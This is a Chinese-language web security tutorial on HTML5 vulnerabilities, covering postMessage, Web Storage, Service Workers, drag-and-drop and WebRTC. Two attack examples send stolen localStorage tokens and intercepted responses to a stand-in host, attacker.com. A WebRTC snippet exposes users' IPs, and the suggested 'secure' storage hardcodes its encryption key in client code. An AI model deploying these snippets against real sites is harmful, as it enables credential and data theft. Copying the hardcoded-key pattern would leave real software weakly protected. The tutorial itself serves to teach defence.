目录

1. postMessage跨域通信漏洞

HTML5的postMessage API允许不同源的窗口进行安全通信，但如果未正确验证消息来源，可能导致严重的XSS漏洞。

不安全的postMessage接收

// 危险代码：未验证消息来源
window.addEventListener('message', function(e) {
    document.getElementById('output').innerHTML = e.data; // XSS!
});

安全的实现方式

// 安全代码：验证来源和内容
window.addEventListener('message', function(e) {
    // 1. 验证消息来源
    if(e.origin !== 'https://trusted-domain.com') {
        return;
    }
    
    // 2. 验证消息格式
    if(typeof e.data !== 'object' || !e.data.action) {
        return;
    }
    
    // 3. 使用textContent而非innerHTML
    document.getElementById('output').textContent = e.data.message;
});

2. Web Storage安全问题

localStorage和sessionStorage虽然方便，但存在被XSS窃取的风险。

常见攻击场景

  • Token窃取：攻击者通过XSS读取localStorage中的JWT令牌
  • 数据污染：注入恶意数据到Storage，影响应用逻辑
  • 持久化后门：在Storage中植入恶意代码
// 攻击示例：窃取localStorage数据
var stolen = {
    token: localStorage.getItem('auth_token'),
    user: localStorage.getItem('user_data')
};
fetch('https://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify(stolen)
});

防御措施

// 1. 敏感数据使用HttpOnly Cookie而非localStorage
// 2. Storage数据加密存储
function secureStorage() {
    return {
        set: function(key, value) {
            const encrypted = CryptoJS.AES.encrypt(value, 'secret-key');
            localStorage.setItem(key, encrypted.toString());
        },
        get: function(key) {
            const encrypted = localStorage.getItem(key);
            if(!encrypted) return null;
            const decrypted = CryptoJS.AES.decrypt(encrypted, 'secret-key');
            return decrypted.toString(CryptoJS.enc.Utf8);
        }
    };
}

3. Web Worker与Service Worker攻击

Service Worker可以拦截网络请求，如果被XSS注入恶意Worker，可能导致严重后果。

// 恶意Service Worker示例
self.addEventListener('fetch', function(event) {
    // 拦截所有请求，窃取数据
    event.respondWith(
        fetch(event.request).then(function(response) {
            // 克隆响应并窃取
            const clonedResponse = response.clone();
            clonedResponse.text().then(function(data) {
                fetch('https://attacker.com/steal', {
                    method: 'POST',
                    body: data
                });
            });
            return response;
        })
    );
});

4. 其他HTML5特性安全

4.1 拖放API (Drag & Drop)

// 拖放XSS攻击
document.addEventListener('drop', function(e) {
    e.preventDefault();
    var html = e.dataTransfer.getData('text/html');
    document.body.innerHTML += html; // 危险！可能包含XSS
});

4.2 Canvas指纹追踪

虽然不是直接的XSS，但可以用于用户追踪和隐私侵犯。

4.3 WebRTC IP泄露

// 获取用户真实IP地址
var pc = new RTCPeerConnection({iceServers:[]});
pc.createDataChannel('');
pc.createOffer().then(offer => pc.setLocalDescription(offer));
pc.onicecandidate = function(ice) {
    if(ice.candidate) {
        console.log('IP泄露:', ice.candidate.candidate);
    }
};